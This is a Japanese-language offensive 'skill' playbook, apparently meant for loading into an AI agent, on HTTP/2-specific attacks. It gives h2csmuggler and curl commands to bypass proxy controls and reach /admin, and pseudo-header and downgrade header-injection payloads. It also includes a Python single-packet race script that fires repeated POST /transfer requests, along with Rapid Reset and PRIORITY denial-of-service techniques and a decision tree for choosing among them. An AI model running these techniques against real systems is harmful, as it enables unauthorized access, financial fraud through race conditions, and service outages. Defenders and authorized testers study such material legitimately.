SKILL: HTTP/2 固有の攻撃 — エキスパート攻撃プレイブック

AI ロード命令: 基本的なリクエストスマグリングを超えた HTTP/2 プロトコルレベルの攻撃テクニック。h2c スマグリング、疑似ヘッダー操作、HPACK 攻撃、単一パケットレース条件、および H2→H1 ダウングレードインジェクションをカバーします。基本モデルは HTTP/2 スマグリングと HTTP/1.1 スマグリングを混同しています — このスキルは H2 固有の攻撃面に焦点を当てています。

0. 関連ルーティング

• request-smuggling — CL.TE/TE.CL/TE.TE の基礎と H2.CL/H2.TE バリアント
• request-smuggling/H2_SMUGGLING_VARIANTS.md — バイトレベルの H2.CL/H2.TE ペイロード、CL.0、クライアント側デシンク
• race-condition — 単一パケット攻撃は H2 マルチプレキシングをレース条件に利用
• web-cache-deception — H2 スマグリングレスポンスによるキャッシュ中毒

---

1. HTTP/2 攻撃面概要

機能	攻撃面
バイナリフレーミング	フレームレベルの操作、パーサー差分
HPACK 圧縮	圧縮オラクル (CRIME/BREACH)、テーブル中毒
マルチプレキシング	単一パケットレース条件、RST_STREAM フラッド
サーバープッシュ	未承諾プッシュ経由のキャッシュ中毒
疑似ヘッダー (:method/:path/:authority/:scheme)	インジェクション、リクエスト分割、パス不一致

---

2. h2c (HTTP/2 クリアテキスト) スマグリング

2.1 概念

h2c は TLS なしの HTTP/2 で、HTTP/1.1 の Upgrade メカニズムを経由してネゴシエートされます。多くのリバースプロキシは Upgrade: h2c ヘッダーをそれを理解せずに転送し、攻撃者がプロキシレベルのアクセス制御をバイパスすることが可能になります。

Client ──[Upgrade: h2c]──> Reverse Proxy ──[転送（理解なし）]──> Backend
                                                                    │
                                                            Backend が H2 で通信
                                                            プロキシは H2 会話に
                                                            気付かない

2.2 攻撃フロー

1. クライアントが HTTP/1.1 リクエストを送信:
   GET / HTTP/1.1
   Host: target.com
   Upgrade: h2c
   HTTP2-Settings: <base64 H2 settings>
   Connection: Upgrade, HTTP2-Settings

2. プロキシが h2c を理解せずにリクエストを転送
3. バックエンド応答: HTTP/1.1 101 Switching Protocols
4. 接続はクライアントとバックエンド間で HTTP/2 になる
5. プロキシは TCP トンネルになる — H2 フレームを検査/フィルタできない
6. クライアントがバックエンドに直接 H2 リクエストを送信、プロキシルールをバイパス

2.3 バイパス可能な内容

✓ パスベースのアクセス制御 (プロキシで /admin ブロック → h2c 経由でアクセス可能)
✓ WAF ルール (プロキシ側 WAF が H2 バイナリフレームを検査できない)
✓ レート制限 (プロキシレベルのレート制限がバイパスされる)
✓ 認証 (プロキシで強制された認証ヘッダー)
✓ IP 制限 (プロキシが送信元 IP を検証するが、h2c トンネルがバイパス)

2.4 ツール: h2csmuggler

# インストール
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2

# 基本的なスマグリング — プロキシ制限をバイパスして /admin にアクセス
python3 h2csmuggler.py -x https://target.com/ --test

# 特定パスをスマグリング
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users

# カスタムヘッダー付き
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
    -H "Authorization: Bearer token123"

2.5 検出

# バックエンドが h2c アップグレードをサポートしているか確認
curl -v --http1.1 https://target.com/ \
    -H "Upgrade: h2c" \
    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
    -H "Connection: Upgrade, HTTP2-Settings"

# 101 Switching Protocols → h2c がサポートされている
# 200/400/その他 → h2c がサポートされていないか、プロキシがアップグレードをブロック

---

3. 疑似ヘッダーインジェクション

3.1 HTTP/2 疑似ヘッダー

HTTP/2 はリクエスト行を疑似ヘッダー (: で始まる) に置き換えます:

疑似ヘッダー	HTTP/1.1 相当物	例
:method	リクエストメソッド	GET、POST
:path	リクエスト URI	/api/users
:authority	Host ヘッダー	target.com
:scheme	プロトコル	https

3.2 プロキシとバックエンド間のパス不一致

シナリオ: プロキシがパスルーティング、バックエンドが異なるパース方法を使用

H2 リクエスト:
  :method: GET
  :path: /public/../admin/users
  :authority: target.com

プロキシが見るもの: /public/../admin/users → /public/* ルールにマッチ → 許可
バックエンドが正規化: /admin/users → 管理者コンテンツを提供

3.3 重複疑似ヘッダーインジェクション

HTTP/2 仕様は重複疑似ヘッダーを禁止していますが、実装により異なります:

:method: GET
:path: /public
:path: /admin       ← 重複、仕様で禁止
:authority: target.com

プロキシが最初の :path (/public) をルーティングに使用する可能性
バックエンドが最後の :path (/admin) を提供に使用する可能性

3.4 Authority vs Host 不一致

:authority: public.target.com    ← プロキシがこれでルーティング
host: admin.internal.target.com  ← バックエンドが Host ヘッダーを優先する可能性

結果: プロキシが public vhost にルーティング、バックエンドが admin vhost を提供

3.5 Scheme 操作

:scheme: https
:path: /api/internal
:authority: target.com

バックエンドがリクエストが「内部」であるかを判定するために :scheme を信頼する場合:
  :scheme: https → 「外部」 → 制限されたアクセス
  :scheme: http  → 「内部」 → 制限なしアクセス

---

4. HPACK 圧縮攻撃

4.1 HTTP/2 での CRIME/BREACH

原理: HPACK がヘッダーを圧縮します。攻撃者が部分的にヘッダーを制御でき、同じ圧縮コンテキストにシークレットが存在する場合、マッチングの推測 → フレームが小さい → オラクル。

制限: HPACK は静的+動的テーブルを使用 (生の DEFLATE ではない)、接続ごとのテーブル、同じ接続で多くのリクエストが必要。元の CRIME よりも困難。

4.2 ヘッダーテーブル中毒

HPACK 動的テーブルは同じ接続でリクエスト間で最近のヘッダーを保存します。
1. 攻撃者が X-Custom: malicious-value を送信 → 動的テーブルに追加される
2. 以後のリクエストがこのエントリを参照する可能性
3. CDN/プロキシが接続をプール → 攻撃者と被害者がテーブルを共有 → リクエスト間のリーク

---

5. ストリームマルチプレキシング悪用

5.1 単一パケット攻撃 (レース条件)

HTTP/2 マルチプレキシングは複数のリクエストを単一の TCP パケットで送信し、真の同時サーバー側処理を実現します:

従来のレース条件: N 個のリクエストを送信 → ネットワークジッター → タイミング不安定
H2 単一パケット: N 個のリクエストを 1 つの TCP セグメントに詰め込む → 同時到着

                    ┌─ Stream 1: POST /transfer (amount=1000)
単一 TCP パケット ──├─ Stream 3: POST /transfer (amount=1000)
                    ├─ Stream 5: POST /transfer (amount=1000)
                    └─ Stream 7: POST /transfer (amount=1000)
                    
すべての 4 リクエストが同じナノ秒ウィンドウで処理される

# h2 ライブラリを使用 — すべてのリクエストを準備、単一書き込みで送信
import h2.connection, h2.config, socket, ssl

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)

conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())

for i in range(20):
    sid = conn.get_next_available_stream_id()
    conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
    conn.send_data(sid, b'amount=1000', end_stream=True)

sock.sendall(conn.data_to_send())  # すべてのフレームが単一 TCP パケット内

5.2 RST_STREAM フラッド (CVE-2023-44487 「Rapid Reset」)

攻撃: HEADERS (ストリーム開く) → RST_STREAM (キャンセル) → 数千/秒で繰り返し
サーバーが各開く/閉じるを処理するが、クライアントはレスポンスを待たない
増幅: 最小クライアントリソース → 巨大なサーバー CPU 枯渇

5.3 PRIORITY 操作

攻撃者のストリームで exclusive=true + weight=256 を設定 → 他のユーザーのリクエストを飢えさせる

---

6. HTTP/2 → HTTP/1.1 ダウングレード問題

6.1 バイナリフォーマット経由のヘッダーインジェクション

H2 ヘッダー値はバイナリです — \r\n は値内で有効なデータです。プロキシが H1 にダウングレードする際、ヘッダー値内の \r\n が実際の改行になります → ヘッダーインジェクション。

H2: X-Custom: "value\r\nInjected: evil"  → バイナリ、有効
H1: X-Custom: value                      → 改行
    Injected: evil                        → 新しいヘッダー!

6.2 Transfer-Encoding スマグリング

H2 仕様は transfer-encoding を禁止していますが、いくつかのプロキシはダウングレード中にこれを通す → バックエンドがチャンク化エンコーディングを処理 → H2.TE スマグリング。../request-smuggling/H2_SMUGGLING_VARIANTS.md を参照してください。

6.3 Content-Length 不一致

H2 はフレーム長を使用 (CL 不要)。プロキシがダウングレード中に CL を生成するが、攻撃者も CL ヘッダーを送信した場合 → 競合する長さ → リクエストスマグリング。

6.4 ヘッダー名ケース

H2 は小文字を必須とします。Transfer-Encoding (大文字) を送信することは無効な H2 ですが、いくつかのプロキシはこれを通す → バックエンド上の有効な H1 ヘッダー。

---

7. サーバープッシュキャッシュ中毒

攻撃: /static/app.js に対するサーバープッシュを攻撃者制御コンテンツでトリガー
  → PUSH_PROMISE フレームが悪意のあるレスポンスをプッシュ
  → ブラウザ/CDN が中毒コンテンツを正当な URL 下でキャッシュ
  → すべての後続のロードが攻撃者のコンテンツを提供

緩和: ほとんどの最新ブラウザ/CDN はサーバープッシュを制限または無効化

---

8. 決定ツリー

ターゲットが HTTP/2 をサポート?
│
├── はい
│   ├── プロキシが h2c アップグレードをサポート?
│   │   ├── はい → h2c スマグリング (セクション 2)
│   │   │   └── プロキシルールをバイパスして制限されたパスにアクセス
│   │   └── いいえ → 続行
│   │
│   ├── プロキシとバックエンド間で H2→H1 ダウングレード?
│   │   ├── はい → バイナリフォーマット経由のヘッダーインジェクション (セクション 6.1)
│   │   │   ├── TE ヘッダーパススルー? → H2.TE スマグリング (セクション 6.2)
│   │   │   ├── CL 不一致? → H2.CL スマグリング (セクション 6.3)
│   │   │   └── ../request-smuggling/H2_SMUGGLING_VARIANTS.md を参照
│   │   └── いいえ (エンドツーエンド H2) → 続行
│   │
│   ├── レース条件が必要?
│   │   ├── はい → マルチプレキシング経由の単一パケット攻撃 (セクション 5.1)
│   │   │   └── N 個のリクエストを 1 つの TCP セグメントにパック
│   │   └── いいえ → 続行
│   │
│   ├── 疑似ヘッダー操作が実行可能?
│   │   ├── :path 不一致 → パス混乱 (セクション 3.2)
│   │   ├── :authority vs Host → vhost 混乱 (セクション 3.4)
│   │   └── :scheme 操作 → アクセス制御バイパス (セクション 3.5)
│   │
│   ├── サーバープッシュが有効?
│   │   ├── はい → プッシュ経由のキャッシュ中毒 (セクション 7)
│   │   └── いいえ → 続行
│   │
│   └── DoS 目的?
│       ├── RST_STREAM rapid reset (セクション 5.2)
│       └── PRIORITY スターベーション (セクション 5.3)
│
└── いいえ (HTTP/1.1 のみ)
    └── H1 固有テクニックについては ../request-smuggling/SKILL.md を参照

---

9. ツール参照

ツール	目的
h2csmuggler	h2c アップグレードスマグリング (github.com/BishopFox/h2csmuggler)
http2smugl	H2 固有デシンクテスト (github.com/neex/http2smugl)
h2 (Python)	フレームクラフト用 HTTP/2 プロトコルライブラリ (github.com/python-hyper/h2)
nghttp2	H2 クライアント/サーバーツール (nghttp2.org)
Burp HTTP Request Smuggler	自動バリアント走査
curl --http2	クイック H2 プローブ (ビルトイン)

---

10. クイックリファレンス

# h2c プローブ
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"

# H2 サポート確認
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"